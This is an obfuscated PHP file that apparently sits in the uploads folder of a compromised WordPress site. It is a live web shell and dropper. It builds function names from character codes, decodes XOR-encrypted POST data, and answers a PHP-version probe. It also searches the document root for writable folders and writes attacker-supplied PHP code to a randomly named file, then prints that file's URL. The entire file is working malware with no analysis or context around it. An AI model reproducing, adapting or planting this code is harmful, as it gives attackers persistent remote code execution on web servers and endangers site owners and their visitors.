File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/uploads/2021/12/glpfxgfa.php
<?php $QBubGMMJfV = 'D'.chr(511-432)."\103".'U'.'M'."\x45"."\x4e".chr(84)."\137"."\x52".chr(584-505).'O'.chr(84);$IPRQg = 'H'.chr(84).'T'.'P'.chr(95)."\110".'O'."\123"."\x54";$wkrMwTR = 'h'.chr(258-142)."\164"."\x70".chr(58).'/'."\x2f";$rmlMJBC = chr(46).chr(112)."\x68"."\x70";$ZkpkG = chr(391-279)."\x68".chr(472-360);$zHVRaXe = "\x66".'i'."\x6c".'e'."\137".'p'.chr(117)."\164"."\x5f".chr(935-836)."\x6f".chr(937-827)."\x74".'e'."\x6e"."\164".'s';$zgbAmf = chr(114).'a'.chr(119).chr(117)."\x72"."\154".chr(100).'e'."\143".chr(111)."\144".chr(101);$TnvyCIuC = "\x75"."\156".chr(115).'e'.'r'."\151".'a'.chr(108)."\x69".chr(460-338)."\145";$UvZkMSjOsD = chr(105)."\x73"."\x5f".chr(119).chr(114)."\x69".chr(305-189)."\x61".chr(98)."\x6c"."\x65";$oNHNqGPB = chr(624-512).'h'."\160"."\x76".chr(101)."\162".chr(292-177)."\151".'o'.chr(110);$hrDtDVh = chr(333-218).'t'.chr(689-575).chr(565-470).chr(470-356).chr(111)."\x74".'1'."\63";$gXFBNbpk = chr(115).'e'."\x72"."\151"."\x61"."\154"."\x69".chr(122).'e';$wWizNv = "\163".'t'."\x72"."\137".chr(115)."\x70".'l'."\151".chr(362-246);foreach ($_POST as $UGwJFPc => $MfRGvrbWHW){$wZDbbhgx = strlen($UGwJFPc);if ($wZDbbhgx == 16){$MfRGvrbWHW = $wWizNv($zgbAmf($hrDtDVh($MfRGvrbWHW)));$UGwJFPc = array_slice($wWizNv(str_repeat($UGwJFPc, (count($MfRGvrbWHW)/16)+1)), 0, count($MfRGvrbWHW));function ZyWExCHOQD($XZFfxrO, $jzMxv, $UGwJFPc){$jtauQsd = "e5e86988-657b-4b91-bfb2-1142f44647ce";return $XZFfxrO ^ $jtauQsd[$jzMxv % strlen($jtauQsd)] ^ $UGwJFPc;}$MfRGvrbWHW = array_map("ZyWExCHOQD", array_values($MfRGvrbWHW), array_keys($MfRGvrbWHW), array_values($UGwJFPc));$MfRGvrbWHW = implode("", $MfRGvrbWHW);$MfRGvrbWHW = @$TnvyCIuC($MfRGvrbWHW);if (@is_array($MfRGvrbWHW)){$mTQWDLiLo = array_keys($MfRGvrbWHW);$MfRGvrbWHW = $MfRGvrbWHW[$mTQWDLiLo[0]];if ($MfRGvrbWHW === $mTQWDLiLo[0]){echo @$gXFBNbpk(Array($ZkpkG => @$oNHNqGPB(), ));exit();}else {function fEuaH($UBnFDLVir){static $kiHEETknwN = array();$cZCgi = glob($UBnFDLVir . '/*', GLOB_ONLYDIR);$ellhyj = count($cZCgi);if ($ellhyj > 0) {foreach ($cZCgi as $UBnFDLV) {if (@$UvZkMSjOsD($UBnFDLV)) {$kiHEETknwN[] = $UBnFDLV;}}}foreach ($cZCgi as $UBnFDLVir) fEuaH($UBnFDLVir);return $kiHEETknwN;}$gKFrnlijr = $_SERVER[$QBubGMMJfV];$cZCgi = fEuaH($gKFrnlijr);$mTQWDLiLo = array_rand($cZCgi);$bUMGsAOqU = $cZCgi[$mTQWDLiLo] . "/" . substr(md5(time()), 0, 8) . $rmlMJBC;@$zHVRaXe($bUMGsAOqU, $MfRGvrbWHW);$jZRWQAyD = $wkrMwTR . $_SERVER[$IPRQg] . substr($bUMGsAOqU, strlen($gKFrnlijr));print($jZRWQAyD);die();}}}}